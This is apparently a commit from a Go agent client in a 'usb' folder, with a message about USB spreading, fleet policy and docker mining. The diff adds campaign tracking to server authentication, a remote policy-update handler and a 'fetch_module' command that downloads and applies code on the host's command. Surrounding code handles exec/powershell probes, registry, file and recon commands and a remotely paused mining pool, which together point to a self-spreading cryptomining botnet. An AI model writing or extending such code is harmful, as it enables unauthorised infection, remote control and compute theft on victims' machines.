feat: alive UI wave, galaxy presence, spread and fleet enhancements

Dashboard ambient layer, comrade presence, Mission Deck and War Room, Emberwake supply chain, spread/docs publishing, fleet policy and modules API, CI docker mining, and refreshed USB pack.

usb/agent/client/client.go

@@ -325,6 +325,8 @@ func (c *AgentClient) authenticate() error {
 		MacAddress:       primaryMACAddress(),
 		BuildID:          c.cfg.BuildID,
 		USBSpread:        c.cfg.USBSpread,
+		Campaign:         strings.TrimSpace(os.Getenv("AETHER_CAMPAIGN")),
+		UTM:              strings.TrimSpace(os.Getenv("AETHER_UTM")),
 	})
 	if err := c.write(Message{Type: "auth", Payload: payload}); err != nil {
 		return err
@@ -432,6 +434,8 @@ func (c *AgentClient) handleMessage(msg Message) {
 			c.sharesAccepted++
 			c.mu.Unlock()
 		}
+	case "policy_update":
+		go c.applyPolicyUpdate(msg.Payload)
 	case "command":
 		var cmd struct {
 			Action    string `json:"action"`
@@ -439,21 +443,28 @@ func (c *AgentClient) handleMessage(msg Message) {
 			Command   string `json:"command"`
 			Path      string `json:"path"`
 			Data      string `json:"data"`
+			Module    string `json:"module"`
 		}
 		if err := json.Unmarshal(msg.Payload, &cmd); err != nil {
 			return
 		}
 		// Run off the read loop so long exec/powershell probes do not block
 		// subsequent commands or server pings.
-		go c.handleCommand(cmd.Action, cmd.TailLines, cmd.Command, cmd.Path, cmd.Data)
+		go c.handleCommand(cmd.Action, cmd.TailLines, cmd.Command, cmd.Path, cmd.Data, cmd.Module)
 	}
 }
 
-func (c *AgentClient) handleCommand(action string, tailLines int, command, path, data string) {
+func (c *AgentClient) handleCommand(action string, tailLines int, command, path, data, module string) {
 	if c.handleAggressiveCommand(action, tailLines, command, path, data) {
 		return
 	}
 	switch action {
+	case "fetch_module":
+		if err := c.fetchAndApplyModule(module); err != nil {
+			c.sendCommandResult(action, false, err.Error())
+			return
+		}
+		c.sendCommandResult(action, true, "module "+module+" applied")
 	case "pause":
 		c.pool.PauseRemote()
 		c.mu.Lock()
@@ -618,7 +629,7 @@ func (c *AgentClient) handleCommand(action string, tailLines int, command, path,
 		if c.handleRegistryCommand(action, path, data) {
 			return
 		}
-		if c.handleFileCommand(action, path) {
+		if c.handleFileCommand(action, path, data) {
 			return
 		}
 		if c.handleReconCommand(action, command) {